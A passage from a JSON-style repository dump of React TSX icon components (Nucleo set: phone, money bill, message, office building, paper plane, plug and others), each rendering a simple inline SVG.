    "content": "import { SVGProps } from \"react\";\n\nexport function MobilePhone(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"14.5\"\n          width=\"10.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"3.75\"\n          y=\"1.75\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"7.75 1.75 7.75 2.75 10.25 2.75 10.25 1.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"9\" cy=\"13\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/money-bill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MoneyBill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"4.25\" cy=\"9\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle cx=\"13.75\" cy=\"9\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <rect\n          height=\"10.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"3.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/money-bill2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MoneyBill2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M1.75,13.75V4.25c2.396,1.074,4.568,1.221,7.25,0s4.854-1.25,7.25,0V13.75c-2.396-1.25-4.568-1.221-7.25,0s-4.854,1.074-7.25,0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/money-bills2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MoneyBills2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"10\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"4.25\" cy=\"10\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle cx=\"13.75\" cy=\"10\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <rect\n          height=\"10.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"4.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.75\"\n          x2=\"14.25\"\n          y1=\"1.75\"\n          y2=\"1.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/msg.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Msg(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9,1.75C4.996,1.75,1.75,4.996,1.75,9c0,1.319,.358,2.552,.973,3.617,.43,.806-.053,2.712-.973,3.633,1.25,.068,2.897-.497,3.633-.973,.489,.282,1.264,.656,2.279,.848,.433,.082,.881,.125,1.338,.125,4.004,0,7.25-3.246,7.25-7.25S13.004,1.75,9,1.75Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/msgs-dotted.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MsgsDotted(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g>\n        <path\n          d=\"M12.337,4.767c-1.095-1.806-3.074-3.017-5.34-3.017C3.547,1.75,.75,4.547,.75,7.998c0,1.136,.308,2.199,.839,3.117,.37,.695-.045,2.337-.839,3.13,1.077,.058,2.497-.428,3.13-.839,.421,.243,1.09,.566,1.964,.731,.112,.021,.232,.017,.346,.032\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.75,7.246c2.485,0,4.5,2.015,4.5,4.5,0,.819-.222,1.584-.604,2.246-.267,.5,.033,1.683,.604,2.255-.776,.042-1.798-.309-2.255-.604-.303,.175-.785,.407-1.415,.527-.269,.051-.547,.078-.831,.078-2.486,0-4.5-2.015-4.5-4.5,0-2.486,2.015-4.5,4.5-4.5Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          strokeDasharray=\"1.2 2.5\"\n          strokeDashoffset=\"-0.2\"\n          opacity=\"0.6\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/msgs-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MsgsFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M0.750144 8.24811C0.750144 4.53189 3.76213 1.51971 7.47752 1.51971C9.72359 1.51971 11.7066 2.62469 12.926 4.31153C13.1686 4.64723 13.0932 5.11607 12.7575 5.35873C12.4218 5.60138 11.953 5.52595 11.7103 5.19026C10.7592 3.8745 9.21906 3.01971 7.47752 3.01971C4.59072 3.01971 2.25014 5.36014 2.25014 8.24811C2.25014 9.19752 2.50714 10.0857 2.95215 10.8551C3.11955 11.1695 3.18281 11.5513 3.18367 11.8704C3.18456 12.1998 3.13279 12.5477 3.04455 12.8835C3.01026 13.014 2.96935 13.1468 2.92188 13.2796C2.93032 13.2772 2.93876 13.2748 2.94719 13.2723C3.44691 13.1268 3.8643 12.938 4.08659 12.7937C4.32308 12.6401 4.62573 12.6322 4.86995 12.7731C5.1494 12.9344 5.55723 13.1367 6.0758 13.2825C6.47456 13.3946 6.70694 13.8087 6.59485 14.2075C6.48275 14.6062 6.06862 14.8386 5.66986 14.7265C5.20995 14.5972 4.81844 14.4338 4.50273 14.2773C4.17031 14.4421 3.77417 14.5938 3.36658 14.7125C2.77647 14.8843 2.08958 15.0083 1.45981 14.9744C1.16413 14.9585 0.9055 14.7701 0.799676 14.4935C0.693852 14.217 0.760646 13.9041 0.970163 13.6948C1.22943 13.4359 1.46666 12.9861 1.5938 12.5023C1.65555 12.2673 1.68415 12.0504 1.68368 11.8744C1.68321 11.7022 1.6552 11.6147 1.64341 11.5883C1.07853 10.6048 0.750144 9.46533 0.750144 8.24811Z\"\n          fill=\"currentColor\"\n          fillRule=\"evenodd\"\n        />\n        <path\n          d=\"M12.4449 6.99872C12.4631 6.99738 12.4815 6.9967 12.4999 6.9967C15.1227 6.9967 17.2495 9.12339 17.2495 11.7463C17.2495 12.5976 17.0222 13.3935 16.6323 14.0824C16.63 14.0939 16.6252 14.1227 16.6251 14.1736C16.6249 14.2658 16.6402 14.3892 16.6772 14.5299C16.7547 14.825 16.8965 15.0828 17.0303 15.2168C17.2393 15.4262 17.3057 15.7389 17.1998 16.0152C17.0939 16.2915 16.8354 16.4796 16.54 16.4956C16.0803 16.5205 15.591 16.4301 15.1813 16.3106C14.9411 16.2406 14.7036 16.1534 14.4911 16.0564C14.1966 16.1931 13.8224 16.3304 13.3781 16.415C13.0937 16.4689 12.7991 16.4976 12.4991 16.4976C9.8753 16.4976 7.74951 14.3708 7.74951 11.748C7.74951 9.14318 9.84695 7.02779 12.4449 6.99872Z\"\n          fill=\"currentColor\"\n          fillRule=\"evenodd\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/msgs.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Msgs(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M12.337,4.767c-1.095-1.806-3.074-3.017-5.34-3.017C3.547,1.75,.75,4.547,.75,7.998c0,1.136,.308,2.199,.839,3.117,.37,.695-.045,2.337-.839,3.13,1.077,.058,2.497-.428,3.13-.839,.421,.243,1.09,.566,1.964,.731,.112,.021,.232,.017,.346,.032\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.75,7.246c2.485,0,4.5,2.015,4.5,4.5,0,.819-.222,1.584-.604,2.246-.267,.5,.033,1.683,.604,2.255-.776,.042-1.798-.309-2.255-.604-.303,.175-.785,.407-1.415,.527-.269,.051-.547,.078-.831,.078-2.486,0-4.5-2.015-4.5-4.5,0-2.486,2.015-4.5,4.5-4.5Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/note.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Note(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"12.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"2.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5\"\n          x2=\"13\"\n          y1=\"6.25\"\n          y2=\"6.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5\"\n          x2=\"9.25\"\n          y1=\"11.75\"\n          y2=\"11.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5\"\n          x2=\"13\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/office-building.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function OfficeBuilding(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M7.75,16.25V7.75c0-.552,.448-1,1-1h5.5c.552,0,1,.448,1,1v8.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M2.75,16.25V4.412c0-.402,.24-.765,.61-.921L7.86,1.588c.659-.279,1.39,.205,1.39,.921v1.741\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"16.25\"\n          y1=\"16.25\"\n          y2=\"16.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.25\"\n          x2=\"10.25\"\n          y1=\"10.25\"\n          y2=\"9.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.75\"\n          x2=\"12.75\"\n          y1=\"10.25\"\n          y2=\"9.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.25\"\n          x2=\"10.25\"\n          y1=\"13.25\"\n          y2=\"12.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.75\"\n          x2=\"12.75\"\n          y1=\"13.25\"\n          y2=\"12.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/page2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Page2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"9\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"12.25\"\n          y1=\"8.25\"\n          y2=\"8.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"12.25\"\n          y1=\"5.25\"\n          y2=\"5.25\"\n        />\n        <rect\n          height=\"14.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"1.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/paintbrush.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Paintbrush(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"M6.956,9.044L13.534,2.466c.621-.621,1.629-.621,2.25,0h0c.621,.621,.621,1.629,0,2.25l-6.578,6.578\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M1.75,14.706c2.703,.812,4.896,.88,6.689-.955,1.081-1.085,1.081-2.845,0-3.931s-2.826-1.102-3.916,0c-1.773,1.792-.225,3.494-2.773,4.886Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/palette-2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Palette2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"m8.3034,16.217c-3.7776-.3601-6.7098-3.619-6.5469-7.5271.157-3.7659,3.3501-6.8755,7.1188-6.9388,4.0612-.0683,7.3747,3.2034,7.3747,7.2489h0c0,1.5188-1.2312,2.75-2.75,2.75h-2.963c-1.0336,0-1.6928,1.1036-1.2027,2.0137l.2374.4409c.2597.4823.2062,1.0732-.1361,1.501h0c-.2736.342-.6962.553-1.1322.5115Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"9\" cy=\"5\" fill=\"currentColor\" r=\"1\" strokeWidth=\"1.5\" />\n        <circle\n          cx=\"6.1716\"\n          cy=\"6.1716\"\n          fill=\"currentColor\"\n          r=\"1\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"11.8284\"\n          cy=\"6.1716\"\n          fill=\"currentColor\"\n          r=\"1\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"5\" cy=\"9\" fill=\"currentColor\" r=\"1\" strokeWidth=\"1.5\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/paper-plane.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function PaperPlane(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.75,10.022v4.246c0,.409,.464,.645,.794,.404l.74-.539\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M2.883,6.935L15.182,2.542c.363-.13,.73,.183,.66,.562l-2.196,11.86c-.067,.363-.492,.531-.789,.311L2.754,7.807c-.322-.238-.248-.738,.129-.873Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.58\"\n          x2=\"5.75\"\n          y1=\"2.569\"\n          y2=\"10.022\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/pen-writing.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function PenWriting(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M2.75,15.25s3.599-.568,4.546-1.515,7.327-7.327,7.327-7.327c.837-.837,.837-2.194,0-3.03-.837-.837-2.194-.837-3.03,0,0,0-6.38,6.38-7.327,7.327-.947,.947-1.515,4.546-1.515,4.546h0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"15.25\"\n          y1=\"15.25\"\n          y2=\"15.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/pen2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Pen2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.547\"\n          x2=\"13.578\"\n          y1=\"4.422\"\n          y2=\"7.453\"\n        />\n        <path\n          d=\"M2.75,15.25s3.599-.568,4.546-1.515c.947-.947,7.327-7.327,7.327-7.327,.837-.837,.837-2.194,0-3.03-.837-.837-2.194-.837-3.03,0,0,0-6.38,6.38-7.327,7.327s-1.515,4.546-1.515,4.546h0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/percentage-arrow-down.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function PercentageArrowDown(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.75 10.25C15.5784 10.25 16.25 9.57843 16.25 8.75C16.25 7.92157 15.5784 7.25 14.75 7.25C13.9216 7.25 13.25 7.92157 13.25 8.75C13.25 9.57843 13.9216 10.25 14.75 10.25Z\"\n          fill=\"currentColor\"\n          fillOpacity=\"0.3\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M14.75 10.25C15.5784 10.25 16.25 9.57843 16.25 8.75C16.25 7.92157 15.5784 7.25 14.75 7.25C13.9216 7.25 13.25 7.92157 13.25 8.75C13.25 9.57843 13.9216 10.25 14.75 10.25Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M8.75 4.75C9.57843 4.75 10.25 4.07843 10.25 3.25C10.25 2.42157 9.57843 1.75 8.75 1.75C7.92157 1.75 7.25 2.42157 7.25 3.25C7.25 4.07843 7.92157 4.75 8.75 4.75Z\"\n          fill=\"currentColor\"\n          fillOpacity=\"0.3\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M8.75 4.75C9.57843 4.75 10.25 4.07843 10.25 3.25C10.25 2.42157 9.57843 1.75 8.75 1.75C7.92157 1.75 7.25 2.42157 7.25 3.25C7.25 4.07843 7.92157 4.75 8.75 4.75Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M8.75 10.25L14.75 1.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M7.25 13.25L4.25 16.25L1.25 13.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M4.25 16.25V1.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/photo.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function NucleoPhoto(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M4,14.75l5.836-5.836c.781-.781,2.047-.781,2.828,0l3.586,3.586\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"11.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(18 18) rotate(180)\"\n          x=\"1.75\"\n          y=\"3.25\"\n        />\n        <circle\n          cx=\"5.75\"\n          cy=\"7.25\"\n          fill=\"currentColor\"\n          r=\"1.25\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/plug2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Plug2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.104,8.714l4.182,4.182c.391,.391,.391,1.024,0,1.414l-.28,.28c-1.545,1.545-4.051,1.545-5.596,0h0c-1.545-1.545-1.545-4.051,0-5.596l.28-.28c.391-.391,1.024-.391,1.414,0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M8.714,5.104l4.182,4.182c.391,.391,1.024,.391,1.414,0l.28-.28c1.545-1.545,1.545-4.051,0-5.596h0c-1.545-1.545-4.051-1.545-5.596,0l-.28,.28c-.391,.391-.391,1.024,0,1.414Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"3.409\"\n          y1=\"16.25\"\n          y2=\"14.591\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.945\"\n          x2=\"7.5\"\n          y1=\"9.555\"\n          y2=\"8\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8.445\"\n          x2=\"10\"\n          y1=\"12.055\"\n          y2=\"10.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16.25\"\n          x2=\"14.591\"\n          y1=\"1.75\"\n          y2=\"3.409\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/plus.tsx",
